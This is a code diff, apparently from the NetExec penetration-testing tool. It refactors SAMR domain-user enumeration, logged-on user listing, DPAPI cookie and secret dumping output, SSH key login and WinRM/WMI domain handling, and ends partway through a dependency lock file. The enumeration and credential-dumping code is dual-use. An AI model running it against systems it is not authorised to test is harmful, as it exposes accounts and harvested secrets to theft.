self.logger.success(out)
|
||||
|
||||
if not self.args.local_auth:
|
||||
if not self.args.local_auth and self.username != "":
|
||||
add_user_bh(self.username, self.domain, self.logger, self.config)
|
||||
if self.admin_privs:
|
||||
self.db.add_admin_user("hash", domain, self.username, nthash, self.host, user_id=user_id)
|
||||
@@ -1000,10 +1007,11 @@ class smb(connection):
|
||||
return groups
|
||||
|
||||
def users(self):
|
||||
self.logger.display("Trying to dump local users with SAMRPC protocol")
|
||||
return UserSamrDump(self).dump()
|
||||
if len(self.args.users) > 0:
|
||||
self.logger.debug(f"Dumping users: {', '.join(self.args.users)}")
|
||||
return UserSamrDump(self).dump(self.args.users)
|
||||
|
||||
def hosts(self):
|
||||
def computers(self):
|
||||
hosts = []
|
||||
for dc_ip in self.get_dc_ips():
|
||||
try:
|
||||
@@ -1025,7 +1033,7 @@ class smb(connection):
|
||||
self.logger.highlight(f"{domain}\\{host_clean:<30}")
|
||||
break
|
||||
except Exception as e:
|
||||
self.logger.fail(f"Error enumerating domain hosts using dc ip {dc_ip}: {e}")
|
||||
self.logger.fail(f"Error enumerating domain computers using dc ip {dc_ip}: {e}")
|
||||
break
|
||||
return hosts
|
||||
|
||||
@@ -1040,17 +1048,17 @@ class smb(connection):
|
||||
lmhash=self.lmhash,
|
||||
nthash=self.nthash,
|
||||
)
|
||||
logged_on = {(f"{user.wkui1_logon_domain}\\{user.wkui1_username}", user.wkui1_logon_server) for user in logged_on}
|
||||
self.logger.success("Enumerated logged_on users")
|
||||
if self.args.loggedon_users_filter:
|
||||
for user in logged_on:
|
||||
if re.match(self.args.loggedon_users_filter, user.wkui1_username):
|
||||
self.logger.highlight(f"{user.wkui1_logon_domain}\\{user.wkui1_username:<25} {f'logon_server: {user.wkui1_logon_server}' if user.wkui1_logon_server else ''}")
|
||||
if re.match(self.args.loggedon_users_filter, user[0].split("\\")[1]):
|
||||
self.logger.highlight(f"{user[0]:<25} {f'logon_server: {user[1]}'}")
|
||||
else:
|
||||
for user in logged_on:
|
||||
self.logger.highlight(f"{user.wkui1_logon_domain}\\{user.wkui1_username:<25} {f'logon_server: {user.wkui1_logon_server}' if user.wkui1_logon_server else ''}")
|
||||
self.logger.highlight(f"{user[0]:<25} {f'logon_server: {user[1]}'}")
|
||||
except Exception as e:
|
||||
self.logger.fail(f"Error enumerating logged on users: {e}")
|
||||
return logged_on
|
||||
|
||||
def pass_pol(self):
|
||||
return PassPolDump(self).dump()
|
||||
@@ -1481,12 +1489,14 @@ class smb(connection):
|
||||
credential.url,
|
||||
)
|
||||
|
||||
if dump_cookies:
|
||||
if dump_cookies and cookies:
|
||||
self.logger.display("Start Dumping Cookies")
|
||||
for cookie in cookies:
|
||||
if cookie.cookie_value != "":
|
||||
self.logger.highlight(f"[{credential.winuser}][{cookie.browser.upper()}] {cookie.host}{cookie.path} - {cookie.cookie_name}:{cookie.cookie_value}")
|
||||
self.logger.display("End Dumping Cookies")
|
||||
elif dump_cookies:
|
||||
self.logger.fail("No cookies found")
|
||||
|
||||
vaults = []
|
||||
try:
|
||||
@@ -1527,6 +1537,9 @@ class smb(connection):
|
||||
credential.url,
|
||||
)
|
||||
|
||||
if not (credentials and system_credentials and browser_credentials and cookies and vaults and firefox_credentials):
|
||||
self.logger.fail("No secrets found")
|
||||
|
||||
@requires_admin
|
||||
def lsa(self):
|
||||
try:
|
||||
|
||||
@@ -6,7 +6,7 @@ from pathlib import Path
|
||||
from sqlalchemy import MetaData, func, Table, select, delete
|
||||
from sqlalchemy.dialects.sqlite import Insert # used for upsert
|
||||
from sqlalchemy.exc import (
|
||||
IllegalStateChangeError,
|
||||
# IllegalStateChangeError,
|
||||
NoInspectionAvailable,
|
||||
NoSuchTableError,
|
||||
)
|
||||
@@ -193,7 +193,7 @@ class database:
|
||||
print(
|
||||
f"""
|
||||
[-] Error reflecting tables for the {self.protocol} protocol - this means there is a DB schema mismatch
|
||||
[-] This is probably because a newer version of nxc is being ran on an old DB schema
|
||||
[-] This is probably because a newer version of nxc is being run on an old DB schema
|
||||
[-] Optionally save the old DB data (`cp {self.db_path} ~/nxc_{self.protocol.lower()}.bak`)
|
||||
[-] Then remove the {self.protocol} DB (`rm -f {self.db_path}`) and run nxc to initialize the new DB"""
|
||||
)
|
||||
@@ -205,7 +205,7 @@ class database:
|
||||
# due to the async nature of nxc, sometimes session state is a bit messy and this will throw:
|
||||
# Method 'close()' can't be called here; method '_connection_for_bind()' is already in progress and
|
||||
# this would cause an unexpected state change to <SessionTransactionState.CLOSED: 5>
|
||||
except IllegalStateChangeError as e:
|
||||
except Exception as e:
|
||||
nxc_logger.debug(f"Error while closing session db object: {e}")
|
||||
|
||||
def clear_database(self):
|
||||
|
||||
@@ -38,7 +38,7 @@ def proto_args(parser, std_parser, module_parser):
|
||||
egroup.add_argument("--disks", action="store_true", help="enumerate disks")
|
||||
egroup.add_argument("--loggedon-users-filter", action="store", help="only search for specific user, works with regex")
|
||||
egroup.add_argument("--loggedon-users", action="store_true", help="enumerate logged on users")
|
||||
egroup.add_argument("--users", nargs="?", const="", metavar="USER", help="enumerate domain users, if a user is specified than only its information is queried.")
|
||||
egroup.add_argument("--users", nargs="*", metavar="USER", help="enumerate domain users, if a user is specified than only its information is queried.")
|
||||
egroup.add_argument("--groups", nargs="?", const="", metavar="GROUP", help="enumerate domain groups, if a group is specified than its members are enumerated")
|
||||
egroup.add_argument("--computers", nargs="?", const="", metavar="COMPUTER", help="enumerate computer users")
|
||||
egroup.add_argument("--local-groups", nargs="?", const="", metavar="GROUP", help="enumerate local groups, if a group is specified then its members are enumerated")
|
||||
|
||||
@@ -4,6 +4,7 @@ from impacket.dcerpc.v5 import transport, samr
|
||||
from impacket.dcerpc.v5.rpcrt import DCERPCException
|
||||
from impacket.dcerpc.v5.rpcrt import DCERPC_v5
|
||||
from impacket.nt_errors import STATUS_MORE_ENTRIES
|
||||
from datetime import datetime, timedelta
|
||||
|
||||
|
||||
class UserSamrDump:
|
||||
@@ -26,6 +27,8 @@ class UserSamrDump:
|
||||
self.doKerberos = connection.kerberos
|
||||
self.protocols = UserSamrDump.KNOWN_PROTOCOLS.keys()
|
||||
self.users = []
|
||||
self.rpc_transport = None
|
||||
self.dce = None
|
||||
|
||||
if self.hash is not None:
|
||||
if self.hash.find(":") != -1:
|
||||
@@ -36,46 +39,37 @@ class UserSamrDump:
|
||||
if self.password is None:
|
||||
self.password = ""
|
||||
|
||||
def dump(self):
|
||||
def dump(self, requested_users=None):
|
||||
# Try all requested protocols until one works.
|
||||
for protocol in self.protocols:
|
||||
try:
|
||||
protodef = UserSamrDump.KNOWN_PROTOCOLS[protocol]
|
||||
port = protodef[1]
|
||||
except KeyError:
|
||||
self.logger.debug(f"Invalid Protocol '{protocol}'")
|
||||
self.logger.debug(f"Invalid Protocol: {protocol}")
|
||||
|
||||
self.logger.debug(f"Trying protocol {protocol}")
|
||||
rpctransport = transport.SMBTransport(
|
||||
self.addr,
|
||||
port,
|
||||
r"\samr",
|
||||
self.username,
|
||||
self.password,
|
||||
self.domain,
|
||||
self.lmhash,
|
||||
self.nthash,
|
||||
self.aesKey,
|
||||
doKerberos=self.doKerberos,
|
||||
)
|
||||
self.rpc_transport = transport.SMBTransport(self.addr, port, r"\samr", self.username, self.password, self.domain, self.lmhash, self.nthash, self.aesKey, doKerberos=self.doKerberos)
|
||||
|
||||
try:
|
||||
self.fetchList(rpctransport)
|
||||
self.fetch_users(requested_users)
|
||||
break
|
||||
except Exception as e:
|
||||
self.logger.debug(f"Protocol failed: {e}")
|
||||
self.logger.debug(f"Connection with protocol {protocol} failed: {e}")
|
||||
return self.users
|
||||
|
||||
def fetchList(self, rpctransport):
|
||||
dce = DCERPC_v5(rpctransport)
|
||||
dce.connect()
|
||||
dce.bind(samr.MSRPC_UUID_SAMR)
|
||||
def fetch_users(self, requested_users):
|
||||
self.dce = DCERPC_v5(self.rpc_transport)
|
||||
self.dce.connect()
|
||||
self.dce.bind(samr.MSRPC_UUID_SAMR)
|
||||
|
||||
# Setup Connection
|
||||
resp = samr.hSamrConnect2(dce)
|
||||
resp = samr.hSamrConnect2(self.dce)
|
||||
if resp["ErrorCode"] != 0:
|
||||
raise Exception("Connect error")
|
||||
|
||||
resp2 = samr.hSamrEnumerateDomainsInSamServer(
|
||||
dce,
|
||||
self.dce,
|
||||
serverHandle=resp["ServerHandle"],
|
||||
enumerationContext=0,
|
||||
preferedMaximumLength=500,
|
||||
@@ -84,7 +78,7 @@ class UserSamrDump:
|
||||
raise Exception("Connect error")
|
||||
|
||||
resp3 = samr.hSamrLookupDomainInSamServer(
|
||||
dce,
|
||||
self.dce,
|
||||
serverHandle=resp["ServerHandle"],
|
||||
name=resp2["Buffer"]["Buffer"][0]["Name"],
|
||||
)
|
||||
@@ -92,7 +86,7 @@ class UserSamrDump:
|
||||
raise Exception("Connect error")
|
||||
|
||||
resp4 = samr.hSamrOpenDomain(
|
||||
dce,
|
||||
self.dce,
|
||||
serverHandle=resp["ServerHandle"],
|
||||
desiredAccess=samr.MAXIMUM_ALLOWED,
|
||||
domainId=resp3["DomainId"],
|
||||
@@ -101,28 +95,84 @@ class UserSamrDump:
|
||||
raise Exception("Connect error")
|
||||
|
||||
self.__domains = resp2["Buffer"]["Buffer"]
|
||||
domainHandle = resp4["DomainHandle"]
|
||||
domain_handle = resp4["DomainHandle"]
|
||||
# End Setup
|
||||
|
||||
status = STATUS_MORE_ENTRIES
|
||||
enumerationContext = 0
|
||||
while status == STATUS_MORE_ENTRIES:
|
||||
if requested_users:
|
||||
self.logger.debug(f"Looping through users requested and looking up their information: {requested_users}")
|
||||
try:
|
||||
resp = samr.hSamrEnumerateUsersInDomain(dce, domainHandle, enumerationContext=enumerationContext)
|
||||
names_lookup_resp = samr.hSamrLookupNamesInDomain(self.dce, domain_handle, requested_users)
|
||||
rids = [r["Data"] for r in names_lookup_resp["RelativeIds"]["Element"]]
|
||||
self.logger.debug(f"Specific RIDs retrieved: {rids}")
|
||||
users = self.get_user_info(domain_handle, rids)
|
||||
except DCERPCException as e:
|
||||
if str(e).find("STATUS_MORE_ENTRIES") < 0:
|
||||
self.logger.fail("Error enumerating domain user(s)")
|
||||
break
|
||||
resp = e.get_packet()
|
||||
self.logger.success("Enumerated domain user(s)")
|
||||
for user in resp["Buffer"]["Buffer"]:
|
||||
r = samr.hSamrOpenUser(dce, domainHandle, samr.MAXIMUM_ALLOWED, user["RelativeId"])
|
||||
info_user = samr.hSamrQueryInformationUser2(dce, r["UserHandle"], samr.USER_INFORMATION_CLASS.UserAllInformation)["Buffer"]["All"]["AdminComment"]
|
||||
self.logger.highlight(f"{self.domain}\\{user['Name']:<30} {info_user}")
|
||||
self.users.append(user["Name"])
|
||||
samr.hSamrCloseHandle(dce, r["UserHandle"])
|
||||
self.logger.debug(f"Exception while requesting users in domain: {e}")
|
||||
if "STATUS_SOME_NOT_MAPPED" in str(e):
|
||||
# which user is not translated correctly isn't returned so we can't tell the user which is failing, which is very annoying
|
||||
self.logger.fail("One of the users requested does not exist in the domain, causing a critical failure during translation, re-check the users and try again")
|
||||
else:
|
||||
self.logger.fail(f"Error occurred when looking up users in domain: {e}")
|
||||
else:
|
||||
status = STATUS_MORE_ENTRIES
|
||||
enumerationContext = 0
|
||||
while status == STATUS_MORE_ENTRIES:
|
||||
try:
|
||||
enumerate_users_resp = samr.hSamrEnumerateUsersInDomain(self.dce, domain_handle, enumerationContext=enumerationContext)
|
||||
except DCERPCException as e:
|
||||
if str(e).find("STATUS_MORE_ENTRIES") < 0:
|
||||
self.logger.fail("Error enumerating domain user(s)")
|
||||
break
|
||||
enumerate_users_resp = e.get_packet()
|
||||
|
||||
enumerationContext = resp["EnumerationContext"]
|
||||
status = resp["ErrorCode"]
|
||||
rids = [r["RelativeId"] for r in enumerate_users_resp["Buffer"]["Buffer"]]
|
||||
self.logger.debug(f"Full domain RIDs retrieved: {rids}")
|
||||
users = self.get_user_info(domain_handle, rids)
|
||||
|
||||
dce.disconnect()
|
||||
# set these for the while loop
|
||||
enumerationContext = enumerate_users_resp["EnumerationContext"]
|
||||
status = enumerate_users_resp["ErrorCode"]
|
||||
self.print_user_info(users)
|
||||
self.dce.disconnect()
|
||||
|
||||
def get_user_info(self, domain_handle, user_ids):
|
||||
self.logger.debug(f"Getting user info for users: {user_ids}")
|
||||
users = []
|
||||
|
||||
for user in user_ids:
|
||||
self.logger.debug(f"Calling hSamrOpenUser for RID {user}")
|
||||
open_user_resp = samr.hSamrOpenUser(
|
||||
self.dce,
|
||||
domain_handle,
|
||||
samr.MAXIMUM_ALLOWED,
|
||||
user
|
||||
)
|
||||
info_user_resp = samr.hSamrQueryInformationUser2(
|
||||
self.dce,
|
||||
open_user_resp["UserHandle"],
|
||||
samr.USER_INFORMATION_CLASS.UserAllInformation
|
||||
)["Buffer"]
|
||||
|
||||
user_info = info_user_resp["All"]
|
||||
user_name = user_info["UserName"]
|
||||
bad_pwd_count = user_info["BadPasswordCount"]
|
||||
user_description = user_info["AdminComment"]
|
||||
last_pw_set = old_large_int_to_datetime(user_info["PasswordLastSet"])
|
||||
if last_pw_set == "1601-01-01 00:00:00":
|
||||
last_pw_set = "<never>"
|
||||
users.append({"name": user_name, "description": user_description, "bad_pwd_count": bad_pwd_count, "last_pw_set": last_pw_set})
|
||||
|
||||
samr.hSamrCloseHandle(self.dce, open_user_resp["UserHandle"])
|
||||
return users
|
||||
|
||||
def print_user_info(self, users):
|
||||
self.logger.highlight(f"{'-Username-':<30}{'-Last PW Set-':<20}{'-BadPW-':<8}{'-Description-':<60}")
|
||||
for user in users:
|
||||
self.logger.debug(f"Full user info: {user}")
|
||||
self.logger.highlight(f"{user['name']:<30}{user['last_pw_set']:<20}{user['bad_pwd_count']:<8}{user['description']} ")
|
||||
|
||||
|
||||
def old_large_int_to_datetime(large_int):
|
||||
combined = (large_int["HighPart"] << 32) | large_int["LowPart"]
|
||||
timestamp_seconds = combined / 10**7
|
||||
start_date = datetime(1601, 1, 1)
|
||||
return (start_date + timedelta(seconds=timestamp_seconds)).replace(microsecond=0).strftime("%Y-%m-%d %H:%M:%S")
|
||||
+7
-17
@@ -4,7 +4,6 @@ import uuid
|
||||
import logging
|
||||
import time
|
||||
|
||||
from io import StringIO
|
||||
from nxc.config import process_secret
|
||||
from nxc.connection import connection, highlight
|
||||
from nxc.logger import NXCAdapter
|
||||
@@ -182,26 +181,20 @@ class ssh(connection):
|
||||
self.logger.error("Command: 'mkfifo' unavailable, running command with 'sudo' failed")
|
||||
return
|
||||
|
||||
def plaintext_login(self, username, password, private_key=None):
|
||||
def plaintext_login(self, username, password, private_key=""):
|
||||
self.username = username
|
||||
self.password = password
|
||||
private_key = ""
|
||||
stdout = None
|
||||
try:
|
||||
if self.args.key_file or private_key:
|
||||
self.logger.debug("Logging in with key")
|
||||
self.logger.debug(f"Logging {self.host} with username: {username}, keyfile: {self.args.key_file}")
|
||||
|
||||
if self.args.key_file:
|
||||
with open(self.args.key_file) as f:
|
||||
private_key = f.read()
|
||||
|
||||
pkey = paramiko.RSAKey.from_private_key(StringIO(private_key))
|
||||
self.conn.connect(
|
||||
self.host,
|
||||
port=self.port,
|
||||
username=username,
|
||||
passphrase=password if password != "" else None,
|
||||
pkey=pkey,
|
||||
key_filename=private_key if private_key else self.args.key_file,
|
||||
look_for_keys=False,
|
||||
allow_agent=False,
|
||||
)
|
||||
@@ -228,13 +221,10 @@ class ssh(connection):
|
||||
# Some IOT devices will not raise exception in self.conn._transport.auth_password / self.conn._transport.auth_publickey
|
||||
_, stdout, _ = self.conn.exec_command("id")
|
||||
stdout = stdout.read().decode(self.args.codec, errors="ignore")
|
||||
except SSHException as e:
|
||||
self.logger.fail(f"{username}:{process_secret(password)} Could not decrypt private key, error: {e}")
|
||||
except Exception as e:
|
||||
if self.args.key_file:
|
||||
password = f"{process_secret(password)} (keyfile: {self.args.key_file})"
|
||||
if "OpenSSH private key file checkints do not match" in str(e):
|
||||
self.logger.fail(f"{username}:{password} - Could not decrypt key file, wrong password")
|
||||
else:
|
||||
self.logger.fail(f"{username}:{password} {e}")
|
||||
self.logger.fail(f"{username}:{process_secret(password)} {e}")
|
||||
self.conn.close()
|
||||
return False
|
||||
else:
|
||||
@@ -287,7 +277,7 @@ class ssh(connection):
|
||||
self.server_os_platform,
|
||||
"- Shell access!" if shell_access else ""
|
||||
)
|
||||
self.logger.success(f"{username}:{password} {self.mark_pwned()} {highlight(display_shell_access)}")
|
||||
self.logger.success(f"{username}:{process_secret(password)} {self.mark_pwned()} {highlight(display_shell_access)}")
|
||||
|
||||
return True
|
||||
|
||||
|
||||
@@ -2,7 +2,7 @@ from sqlalchemy.dialects.sqlite import Insert
|
||||
from sqlalchemy.orm import sessionmaker, scoped_session
|
||||
from sqlalchemy import MetaData, Table, select, func, delete
|
||||
from sqlalchemy.exc import (
|
||||
IllegalStateChangeError,
|
||||
# IllegalStateChangeError,
|
||||
NoInspectionAvailable,
|
||||
NoSuchTableError,
|
||||
)
|
||||
@@ -99,7 +99,7 @@ class database:
|
||||
print(
|
||||
f"""
|
||||
[-] Error reflecting tables for the {self.protocol} protocol - this means there is a DB schema mismatch
|
||||
[-] This is probably because a newer version of nxc is being ran on an old DB schema
|
||||
[-] This is probably because a newer version of nxc is being run on an old DB schema
|
||||
[-] Optionally save the old DB data (`cp {self.db_path} ~/nxc_{self.protocol.lower()}.bak`)
|
||||
[-] Then remove the nxc {self.protocol} DB (`rm -f {self.db_path}`) and run nxc to initialize the new DB"""
|
||||
)
|
||||
@@ -111,7 +111,7 @@ class database:
|
||||
# due to the async nature of nxc, sometimes session state is a bit messy and this will throw:
|
||||
# Method 'close()' can't be called here; method '_connection_for_bind()' is already in progress and
|
||||
# this would cause an unexpected state change to <SessionTransactionState.CLOSED: 5>
|
||||
except IllegalStateChangeError as e:
|
||||
except Exception as e:
|
||||
nxc_logger.debug(f"Error while closing session db object: {e}")
|
||||
|
||||
def clear_database(self):
|
||||
|
||||
@@ -1,7 +1,7 @@
|
||||
from pathlib import Path
|
||||
from sqlalchemy import MetaData, Table
|
||||
from sqlalchemy.exc import (
|
||||
IllegalStateChangeError,
|
||||
# IllegalStateChangeError,
|
||||
NoInspectionAvailable,
|
||||
NoSuchTableError,
|
||||
)
|
||||
@@ -62,7 +62,7 @@ class database:
|
||||
print(
|
||||
f"""
|
||||
[-] Error reflecting tables for the {self.protocol} protocol - this means there is a DB schema mismatch
|
||||
[-] This is probably because a newer version of nxc is being ran on an old DB schema
|
||||
[-] This is probably because a newer version of nxc is being run on an old DB schema
|
||||
[-] Optionally save the old DB data (`cp {self.db_path} ~/nxc_{self.protocol.lower()}.bak`)
|
||||
[-] Then remove the {self.protocol} DB (`rm -f {self.db_path}`) and run nxc to initialize the new DB"""
|
||||
)
|
||||
@@ -74,7 +74,7 @@ class database:
|
||||
# due to the async nature of nxc, sometimes session state is a bit messy and this will throw:
|
||||
# Method 'close()' can't be called here; method '_connection_for_bind()' is already in progress and
|
||||
# this would cause an unexpected state change to <SessionTransactionState.CLOSED: 5>
|
||||
except IllegalStateChangeError as e:
|
||||
except Exception as e:
|
||||
nxc_logger.debug(f"Error while closing session db object: {e}")
|
||||
|
||||
def clear_database(self):
|
||||
|
||||
+7
-12
@@ -25,7 +25,8 @@ urllib3.disable_warnings()
|
||||
|
||||
class winrm(connection):
|
||||
def __init__(self, args, db, host):
|
||||
self.domain = None
|
||||
self.domain = ""
|
||||
self.targedDomain = ""
|
||||
self.server_os = None
|
||||
self.output_filename = None
|
||||
self.endpoint = None
|
||||
@@ -52,30 +53,24 @@ class winrm(connection):
|
||||
|
||||
def enum_host_info(self):
|
||||
ntlm_info = parse_challenge(base64.b64decode(self.challenge_header.split(" ")[1].replace(",", "")))
|
||||
self.domain = ntlm_info["domain"]
|
||||
self.targetDomain = self.domain = ntlm_info["domain"]
|
||||
self.hostname = ntlm_info["hostname"]
|
||||
self.server_os = ntlm_info["os_version"]
|
||||
self.logger.extra["hostname"] = self.hostname
|
||||
|
||||
self.output_filename = os.path.expanduser(f"~/.nxc/logs/{self.hostname}_{self.host}_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}")
|
||||
|
||||
self.db.add_host(self.host, self.port, self.hostname, self.domain, self.server_os)
|
||||
self.db.add_host(self.host, self.port, self.hostname, self.targetDomain, self.server_os)
|
||||
|
||||
if self.args.domain:
|
||||
self.domain = self.args.domain
|
||||
|
||||
if self.args.local_auth:
|
||||
self.domain = self.hostname
|
||||
|
||||
if self.domain is None:
|
||||
self.domain = ""
|
||||
|
||||
self.output_filename = os.path.expanduser(f"~/.nxc/logs/{self.hostname}_{self.host}_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}".replace(":", "-"))
|
||||
|
||||
def print_host_info(self):
|
||||
self.logger.extra["protocol"] = "WINRM-SSL" if self.ssl else "WINRM"
|
||||
self.logger.extra["port"] = self.port
|
||||
self.logger.display(f"{self.server_os} (name:{self.hostname}) (domain:{self.domain})")
|
||||
self.logger.display(f"{self.server_os} (name:{self.hostname}) (domain:{self.targetDomain})")
|
||||
|
||||
return True
|
||||
|
||||
@@ -167,7 +162,7 @@ class winrm(connection):
|
||||
self.db.add_admin_user("plaintext", domain, self.username, self.password, self.host) # , user_id=user_id)
|
||||
add_user_bh(f"{self.hostname}$", domain, self.logger, self.config)
|
||||
|
||||
if not self.args.local_auth:
|
||||
if not self.args.local_auth and self.username != "":
|
||||
add_user_bh(self.username, self.domain, self.logger, self.config)
|
||||
return True
|
||||
except Exception as e:
|
||||
@@ -210,7 +205,7 @@ class winrm(connection):
|
||||
self.db.add_admin_user("hash", domain, self.username, nthash, self.host)
|
||||
add_user_bh(f"{self.hostname}$", domain, self.logger, self.config)
|
||||
|
||||
if not self.args.local_auth:
|
||||
if not self.args.local_auth and self.username != "":
|
||||
add_user_bh(self.username, self.domain, self.logger, self.config)
|
||||
return True
|
||||
|
||||
|
||||
@@ -3,7 +3,7 @@ from sqlalchemy.dialects.sqlite import Insert
|
||||
from sqlalchemy.orm import sessionmaker, scoped_session
|
||||
from sqlalchemy import MetaData, Table, select, func, delete
|
||||
from sqlalchemy.exc import (
|
||||
IllegalStateChangeError,
|
||||
# IllegalStateChangeError,
|
||||
NoInspectionAvailable,
|
||||
NoSuchTableError,
|
||||
)
|
||||
@@ -82,7 +82,7 @@ class database:
|
||||
print(
|
||||
f"""
|
||||
[-] Error reflecting tables for the {self.protocol} protocol - this means there is a DB schema mismatch
|
||||
[-] This is probably because a newer version of nxc is being ran on an old DB schema
|
||||
[-] This is probably because a newer version of nxc is being run on an old DB schema
|
||||
[-] Optionally save the old DB data (`cp {self.db_path} ~/nxc_{self.protocol.lower()}.bak`)
|
||||
[-] Then remove the {self.protocol} DB (`rm -f {self.db_path}`) and run nxc to initialize the new DB"""
|
||||
)
|
||||
@@ -94,7 +94,7 @@ class database:
|
||||
# due to the async nature of nxc, sometimes session state is a bit messy and this will throw:
|
||||
# Method 'close()' can't be called here; method '_connection_for_bind()' is already in progress and
|
||||
# this would cause an unexpected state change to <SessionTransactionState.CLOSED: 5>
|
||||
except IllegalStateChangeError as e:
|
||||
except Exception as e:
|
||||
nxc_logger.debug(f"Error while closing session db object: {e}")
|
||||
|
||||
def clear_database(self):
|
||||
|
||||
@@ -24,7 +24,8 @@ MSRPC_UUID_PORTMAP = uuidtup_to_bin(("E1AF8308-5D1F-11C9-91A4-08002B14A0FA", "3.
|
||||
|
||||
class wmi(connection):
|
||||
def __init__(self, args, db, host):
|
||||
self.domain = None
|
||||
self.domain = ""
|
||||
self.targetDomain = ""
|
||||
self.hash = ""
|
||||
self.lmhash = ""
|
||||
self.nthash = ""
|
||||
@@ -122,7 +123,7 @@ class wmi(connection):
|
||||
response = MSRPCHeader(buffer)
|
||||
bindResp = MSRPCBindAck(response.getData())
|
||||
ntlm_info = parse_challenge(bindResp["auth_data"])
|
||||
self.domain = ntlm_info["domain"]
|
||||
self.targetDomain = self.domain = ntlm_info["domain"]
|
||||
self.hostname = ntlm_info["hostname"]
|
||||
self.server_os = ntlm_info["os_version"]
|
||||
self.logger.extra["hostname"] = self.hostname
|
||||
@@ -139,7 +140,7 @@ class wmi(connection):
|
||||
def print_host_info(self):
|
||||
self.logger.extra["protocol"] = "RPC"
|
||||
self.logger.extra["port"] = "135"
|
||||
self.logger.display(f"{self.server_os} (name:{self.hostname}) (domain:{self.domain})")
|
||||
self.logger.display(f"{self.server_os} (name:{self.hostname}) (domain:{self.targetDomain})")
|
||||
return True
|
||||
|
||||
def check_if_admin(self):
|
||||
|
||||
@@ -2,7 +2,7 @@ from pathlib import Path
|
||||
from sqlalchemy.orm import sessionmaker, scoped_session
|
||||
from sqlalchemy import MetaData, Table
|
||||
from sqlalchemy.exc import (
|
||||
IllegalStateChangeError,
|
||||
# IllegalStateChangeError,
|
||||
NoInspectionAvailable,
|
||||
NoSuchTableError,
|
||||
)
|
||||
@@ -54,7 +54,7 @@ class database:
|
||||
print(
|
||||
f"""
|
||||
[-] Error reflecting tables for the {self.protocol} protocol - this means there is a DB schema mismatch
|
||||
[-] This is probably because a newer version of nxc is being ran on an old DB schema
|
||||
[-] This is probably because a newer version of nxc is being run on an old DB schema
|
||||
[-] Optionally save the old DB data (`cp {self.db_path} ~/nxc_{self.protocol.lower()}.bak`)
|
||||
[-] Then remove the nxc {self.protocol} DB (`rm -f {self.db_path}`) and run nxc to initialize the new DB"""
|
||||
)
|
||||
@@ -66,7 +66,7 @@ class database:
|
||||
# due to the async nature of nxc, sometimes session state is a bit messy and this will throw:
|
||||
# Method 'close()' can't be called here; method '_connection_for_bind()' is already in progress and
|
||||
# this would cause an unexpected state change to <SessionTransactionState.CLOSED: 5>
|
||||
except IllegalStateChangeError as e:
|
||||
except Exception as e:
|
||||
nxc_logger.debug(f"Error while closing session db object: {e}")
|
||||
|
||||
def clear_database(self):
|
||||
|
||||
Generated
+168
-135
@@ -1,4 +1,4 @@
|
||||
# This file is automatically @generated by Poetry 1.6.1 and should not be changed by hand.
|
||||
# This file is automatically @generated by Poetry 1.8.2 and should not be changed by hand.
|
||||
|
||||
[[package]]
|
||||
name = "aardwolf"
|
||||
@@ -59,42 +59,41 @@ files = [
|
||||
|
||||
[[package]]
|
||||
name = "aiosmb"
|
||||
version = "0.4.10"
|
||||
version = "0.4.4"
|
||||
description = "Asynchronous SMB protocol implementation"
|
||||
optional = false
|
||||
python-versions = ">=3.7"
|
||||
files = [
|
||||
{file = "aiosmb-0.4.10-py3-none-any.whl", hash = "sha256:8b6f4c586fcd4e757e31aa3ea5a17060d9355d8994011ff6040acc18c578c023"},
|
||||
{file = "aiosmb-0.4.10.tar.gz", hash = "sha256:b8de656e1b8fb7d6b1a766534f10e01ee0d1c254235c03449063e04092f5a3dd"},
|
||||
{file = "aiosmb-0.4.4-py3-none-any.whl", hash = "sha256:ed70967243ec6634ac443de4e048c666f372ec863e49e8a2c1e01d640989f95e"},
|
||||
{file = "aiosmb-0.4.4.tar.gz", hash = "sha256:20620498cf5e6794fea29ddcb46afbda8cbf714e3cf8e1da149699f03453637f"},
|
||||
]
|
||||
|
||||
[package.dependencies]
|
||||
asn1crypto = "*"
|
||||
asyauth = ">=0.0.16"
|
||||
asysocks = ">=0.2.9"
|
||||
asyauth = ">=0.0.8"
|
||||
asysocks = ">=0.2.2"
|
||||
colorama = "*"
|
||||
cryptography = "*"
|
||||
minikerberos = ">=0.3.5"
|
||||
prompt-toolkit = ">=3.0.2"
|
||||
six = "*"
|
||||
tqdm = "*"
|
||||
unicrypto = ">=0.0.10"
|
||||
unicrypto = ">=0.0.9"
|
||||
wcwidth = "*"
|
||||
winacl = ">=0.1.8"
|
||||
winacl = ">=0.1.5"
|
||||
|
||||
[[package]]
|
||||
name = "aiosqlite"
|
||||
version = "0.19.0"
|
||||
version = "0.17.0"
|
||||
description = "asyncio bridge to the standard sqlite3 module"
|
||||
optional = false
|
||||
python-versions = ">=3.7"
|
||||
python-versions = ">=3.6"
|
||||
files = [
|
||||
{file = "aiosqlite-0.19.0-py3-none-any.whl", hash = "sha256:edba222e03453e094a3ce605db1b970c4b3376264e56f32e2a4959f948d66a96"},
|
||||
{file = "aiosqlite-0.19.0.tar.gz", hash = "sha256:95ee77b91c8d2808bd08a59fbebf66270e9090c3d92ffbf260dc0db0b979577d"},
|
||||
{file = "aiosqlite-0.17.0-py3-none-any.whl", hash = "sha256:6c49dc6d3405929b1d08eeccc72306d3677503cc5e5e43771efc1e00232e8231"},
|
||||
{file = "aiosqlite-0.17.0.tar.gz", hash = "sha256:f0e6acc24bc4864149267ac82fb46dfb3be4455f99fe21df82609cc6e6baee51"},
|
||||
]
|
||||
|
||||
[package.extras]
|
||||
dev = ["aiounittest (==1.4.1)", "attribution (==1.6.2)", "black (==23.3.0)", "coverage[toml] (==7.2.3)", "flake8 (==5.0.4)", "flake8-bugbear (==23.3.12)", "flit (==3.7.1)", "mypy (==1.2.0)", "ufmt (==2.1.0)", "usort (==1.0.6)"]
|
||||
docs = ["sphinx (==6.1.3)", "sphinx-mdinclude (==0.5.3)"]
|
||||
[package.dependencies]
|
||||
typing_extensions = ">=3.7.2"
|
||||
|
||||
[[package]]
|
||||
name = "aiowinreg"
|
||||
@@ -189,13 +188,13 @@ shell = ["prompt_toolkit"]
|
||||
|
||||
[[package]]
|
||||
name = "asyauth"
|
||||
version = "0.0.18"
|
||||
version = "0.0.20"
|
||||
description = "Unified authentication library"
|
||||
optional = false
|
||||
python-versions = ">=3.7"
|
||||
files = [
|
||||
{file = "asyauth-0.0.18-py3-none-any.whl", hash = "sha256:1fff4333d5db8c6c4a897efdf5e95a41a44cd257638d8296003f1a7a4a9e95a1"},
|
||||
